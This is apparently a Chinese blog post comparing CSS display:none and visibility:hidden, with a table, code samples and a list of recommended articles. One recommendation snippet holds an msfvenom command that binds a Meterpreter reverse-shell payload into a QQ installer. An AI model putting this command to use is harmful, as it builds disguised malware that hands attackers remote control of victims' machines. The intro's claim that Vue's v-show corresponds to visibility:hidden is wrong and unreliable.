CSS隐藏元素:display:none vs visibility:hidden

Display:none 与 visibility:hidden 的区别 核心区别是「文档流消失,不占位,触发重排」;是「视觉隐藏,保留占位,仅触发重绘」;选型核心:需保留占位 / 加动画 / 频繁切换 → 用;需彻底隐藏 / 布局重排 / 不频繁切换 → 用;关联考点:Vue 的v-if(对应 display: none)和v-show(对应 visibility: hidden)的区别,本质就是这两个 CSS 属性的区别。 阅读详情

display: none 和 visibility: hidden 都是 CSS 中用于隐藏元素的属性,但它们在页面布局、渲染机制和交互行为上有本质区别:

核心区别总结:

特性display: nonevisibility: hidden
是否占据布局空间❌ 完全从文档流移除,不占空间✔️ 保留原有空间,布局留空白
子元素是否可见❌ 所有后代元素均不可见✔️ 子元素可通过 visibility: visible 单独显示
是否触发重排✔️ 改变布局,触发重排(性能影响大)❌ 不改变布局,只触发重绘(性能影响小)
是否响应事件❌ 无法响应点击等事件❌ 自身不响应事件(但可见子元素可响应)
是否可添加过渡动画❌ 不支持✔️ 可与 opacity 配合实现淡入淡出动画

详细解释:

1. 对布局空间的影响
  • display: none:
    元素完全从渲染树中移除,不占据任何页面空间,后续元素会占据其位置(布局重新计算)。

    <div style="display: none;">隐藏元素</div>
    <div>后续元素会顶上去</div> <!-- 紧贴前一个元素 -->
    
  • visibility: hidden:
    元素视觉上不可见,但仍占据原有空间,布局中会保留空白区域。

    <div style="visibility: hidden;">隐藏元素</div>
    <div>后续元素位置不变</div> <!-- 中间有空白区域 -->
    
2. 子元素的继承性
  • display: none:
    所有子元素无论设置如何均不可见(父元素已不在渲染树中)。
  • visibility: hidden:
    子元素默认继承隐藏属性,但可通过覆盖设置单独显示:
    .parent {
      visibility: hidden; /* 父元素隐藏 */
    }
    .child {
      visibility: visible; /* 子元素强制显示 */
    }
    
3. 渲染性能
  • display: none:
    切换时会触发重排(Reflow)与重绘(Repaint),性能开销较大。
  • visibility: hidden:
    仅触发重绘(Repaint)(元素仍在渲染树中,只修改可见性),性能更优。
4. 事件交互
  • 两者均无法响应自身事件(如点击、悬停)。
  • 特殊点:visibility: hidden 的元素中,若有子元素设为 visibility: visible,则该子元素仍可响应事件。
5. 动画支持
  • display: none:
    无法直接应用 CSS 过渡动画(切换时立即生效)。
  • visibility: hidden:
    可与 opacity 组合实现平滑的淡入淡出效果:
    .element {
      visibility: hidden;
      opacity: 0;
      transition: opacity 0.5s, visibility 0.5s;
    }
    .element.show {
      visibility: visible;
      opacity: 1;
    }
    

使用场景建议:

  • 用 display: none 当:
    需要完全移除元素且不占空间(如动态切换选项卡、折叠菜单)。
  • 用 visibility: hidden 当:
    保留布局空间(如占位避免页面抖动),或实现隐藏/显示动画。

💡 关键记忆点:

  • display: none = 彻底消失(物理移除)
  • visibility: hidden = “隐身”但占位(视觉隐藏)
CSS元素的显示与可见性(详解Display和Visibility的用法) 1.DisplayDisplay主要用于控制元素的布局方式,包括块级、行内、弹性布局和网格布局等。Visibility主要用于控制元素的可见性,即元素是否在页面中可见,但不影响布局。display属性display属性用于定义元素应该生成的框的类型。常见的display属性值包括:none: 元素不会被渲染在页面上,且不占据空间。block: 元素被渲染为块级元素,占据一整行。inline: 元素被渲染为内联元素,不会独占一行,与其他内联元素在一行内显示。 阅读详情

相关推荐

数据预处理之数据平滑处理#matlab

介绍基于 MATLAB 的数据平滑方法,主要介绍 smooth 函数、smoothts 函数和 medfilt1 函数的用法。

m0_56619132的博客 2415

理解与应用css中的display属性

  display属性是我们在前端开发中常常使用的一个属性,其中,最常见的有:noneblockinlineinline-blockinherit  下面,我将按照顺序将上述几种属性做一个完整的讲解。第一部分:display:none  none这个值表示此元素将不被显示。比如,当我们在浏览网页时,如果看到了某个烦人的广告遮挡了我们的实现,更为可气的是,它还没有关闭的选项,这时(以chrome为例...

Liuqz2009的专栏 1万+

基于YOLOv8和PaddlepaddleOCR的微信截图聊天记录提取

本文提出了一种基于YOLOv8和PaddleOCR的微信聊天记录提取方法。首先使用YOLOv8n模型分割出聊天气泡(针对深浅色模式分别训练),通过合成数据集增强模型鲁棒性,召回率达0.995。随后采用PP-OCRv5进行文本识别,利用坐标匹配将气泡内文本送入识别队列,短长文本平均置信度分别>0.98和>0.95。文中特别强调了PaddleOCR不同版本的输出格式差异及适配方案,建议使用3.0+版本。该方法有效解决了直接OCR识别易受干扰的问题,通过气泡分割+文本定位的两阶段策略显著提升了识别准确

2401_87383958的博客 2354

csss之visibility:hidden和display:none

csss之visibility:hidden和display:none visibility:hidden和display:none再使用上有着看似相似的功效,但又不尽相同,在作用,定义以及对其他元素的影响上不同。 图一:原始状态 作用上的不同   visibility:hidden  将元素隐藏,不在页面上显示   display:none   将元素属性设为无,不在网页上占据任何位置,当然也就不显示 这样一看貌似还挺像的,都可以使元素不在页面上显示,但,看下面两张图~

qq_53233068的博客 1016

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

树莓派与OpenCV实现人脸识别(OpenCV安装篇)

主要看了以下两位博客的文章完成的,也遇到了不少的坑,在这里一一填补说明。 链接: https://blog.youkuaiyun.com/weixin_42163073/article/details/107308759. 链接: https://blog.youkuaiyun.com/weixin_42573595/article/details/108526850. 树莓派与OpenCV实现人脸识别(OpenCV安装篇)一、材料准备:二、系统烧录三、安装OpenCV依赖项四、下载OpenCV-4.3.0五、为OpenCV配置P

weixin_45880057的博客 1万+

display:none

1、display:none和visible:hidden都能把网页上某个元素隐藏起来。 2、但两者有区别: ●display:none ---不为被隐藏的对象保留其物理空间,即该对象在页面上彻底消失,通俗来说就是看不见也摸不到。 ●visible:hidden--- 使对象在网页上不可见,但该对象在网页上所占的空间没有改变,通俗来说就是看不见但摸得到。 1、visibility: hid...

进击的Coder菜鸟 11万+

IEPE传感器4mA恒流源接口电路

另外传感器的偏置电压大概在10V多点,一般接个电容把直流分量去掉。这里我们要把恒流源的电流设置在4毫安左右,R1取33Ω差不多正好。经过CR的隔直流电路后的波形是这样的。

老白的博客 6109

display:none和visibility:hidden的区别

display:none 和visibility:hidden都可以实现让元素隐藏的效果,但原理是大不相同 1.display:none是让这个元素失去块元素的效果,其本身这个元素也是直接消失,会影响到布局问题。 2.visibility:hidden:可以让元素消失,属于css样式,它只是简单的让元素看不见,但本身的位置还在,如果对div进行hidden,那么div除了看不见,其他所有的样式都在。 ...

flower521528的博客 1万+

【SAM2系列】windows单GPU复现时的bug解决记录

windows运行sam2,就感觉在开一艘破破烂烂的船,每走一步报一个错,bug源源不断的冒出来😭😭😭😭😭。

weixin_43571113的博客 1317

从零开始学习CANoe(三)—— 系统变量的创建和使用

从零开始学习CANoe(三)—— 系统变量的创建和使用

蚂蚁小兵 1万+

CSS中如何隐藏元素但保留其占位空间(display:none vs visibility:hidden)?

CSS中如何隐藏元素但保留其占位空间(display:none vs visibility:hidden)?

商务合作欢迎私信我 1万+

QT控件 参考Qt的PIMPL设计模式实现使用QWidget控件绘制3D饼状图表和3D柱状图表,使用QChartView绘制圆柱体图表

工作中之前遇到了绘制3D饼状图表的需求,通过Qt 实现3维饼状图 一文,成功迅速解决问题,现在闲下来了,之前看QtTreePropertyBrowser库的源代码,就想着学习学习Qt的PIMPL模式,于是就参照PIMPL模式实现通过QWidget控件的paintEvent函数重新绘制3D饼状图表和3D柱状图表统计数据的显示效果, 而使用QChartView绘制圆柱体图表完全是取巧了,为了紧急完成工作采用的方法,实际上使用3D柱状图表显示统计数据更加合理。

... 727

CSS基础(7)

CSS基础(7)

Jack, what else can you do besides holding your little darling? 135

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

display:none vs visibility:hidden vs opacity:0

display:none:用于隐藏元素,同时元素位置消失,但你依旧可以用它与DOM进行交互; visibility:hidden:也用于隐藏元素,区别是元素在文档流中依然占有位置; opacity:0:还是用来隐藏元素的,设置透明度让元素隐身,所以依旧占有位置。 display:none,visibility:hidder,opacity:0三者都是需要浏览器渲染的,特别需要...

baliao0152的博客 150

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

CSS: display: none vs visibility: hidden

display: none vs visibility: hidden

zhuchuji的博客 359

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

「css基础」如何理解Display的属性:None,Block,Inline,Inline-Block

开篇本篇文章,笔者将介绍display的基本属性,主要涉及以下内容:display: none vs visibility: hiddendisplay: blockdi...

前端达人 812

display none 隐藏后怎么显示_「早读课」如何理解Display:None,Block,Inline,Inline-Block...

今天的早读课,笔者将介绍Display的相关属性,主要涉及的内容包含:display: none vs. visibility: hiddendisplay: blockdisplay: inlinedisplay: inline-blockDisplay: None vs. Visibility: Hidden如下段代码所示,我们有三个红、蓝、绿的方块,如下段代码所示:#box-1 { widt...

weixin_39751679的博客 388

CSS display 属性全解析:块级 / 行内 / 行内块 / 隐藏

本文详细解析CSS display属性的4个核心取值及其应用场景。通过代码示例展示了block(独占一行、可设宽高)、inline(同行显示、宽高无效)、inline-block(兼具两者特性)和none(完全隐藏)的用法差异。重点对比了不同显示类型的排版特性,并指出行内元素宽高设置无效、属性覆盖规则等注意事项。文章还提供了导航栏布局、按钮样式等典型应用场景,强调display属性是控制元素布局和动态显示的核心工具,适合新手快速掌握基础用法。

2303_81899122的博客 1790

CSS 布局 - display ,width 和 max-width属性

css,display ,width 和 max-width属性

qq_56022173的博客 1008

CSS基础教程(二十三)Display(显示) 与 Visibility(可见性):别再让HTML“社恐”或“社死”!CSS Display与Visibility的隐身艺术与职场哲学

在CSS的魔法世界里,display: none 和 visibility: hidden 都能让元素消失,但背后的“职场哲学”天差地别!一个宛如彻夜加班后请假(元素消失,位置被占),一个则像人间蒸发(元素带薪休假,位置保留)。本文将带你深度解剖这对“隐身双子星”,通过爆笑比喻和实战示例(导航栏、模态框、选项卡),让你彻底弄懂它们如何影响布局、响应事件乃至浏览器渲染。从此,你在前端布局的“宫心计”中,总能做出最精准的选择!

jxf_jxfcsdn的博客 489

区分visibility VS display

 visibility:内容的现实与否display: none 隐藏元素

Sean的专栏 445

visibility vs display

当visibility被设置为"hidden"的时候,元素虽然被隐藏了,但它仍然占据它原来所在的位置,而且width和height属性不为空       display设为"none"后width和height属性为空。         可以通过 设置 visibility为"hidden", 并且设置position为absolute, 让他不占据原来的位置并且...

StudyWorks的专栏 329

第12篇:元素的显示类型与可见性

HTML 元素默认有不同的显示类型——块级、行内、行内块等。理解 `display` 属性的各种取值,是控制页面布局的关键。本篇还将讲解 `visibility` 与 `opacity` 在隐藏元素时的本质区别。

以梦想为帆,行动作桨,驶向辉煌彼岸。 222

CSS : Visibility 和 Display 属性的比较

http://blog.imbolo.com/css-visibility-vs-display/ 如果你想改变一个 HTML 元素的可见性,你会把这个元素的 CSS 属性改为 visibility: hidden 还是 display: none ?这两个属性有什么不同?在页面元素可见性改变时你如何应对? Visibility 和 Display 属性的区别 这里有个

crazy_fire 677

'display' VS 'visibility'

常用的display属性值: none此元素不会被显示并且不占用空间; block此元素显示为块级元素,此元素前后会带有换行符; inline默认,此元素会被显示为内联元素,元素前后没有换行符; inline-block行内块元素,前后无换行符; inherit规定应该从父类元素继承display属性的 在IE浏览器里的IE11中的预览效果图 ...

290
上一篇: Cookie与Session:Web开发核心差异详解
下一篇: Cookie、LocalStorage与SessionStorage的区别解析
代码的余温
博客等级 码龄2年 1149粉丝 207原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

代码的余温

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值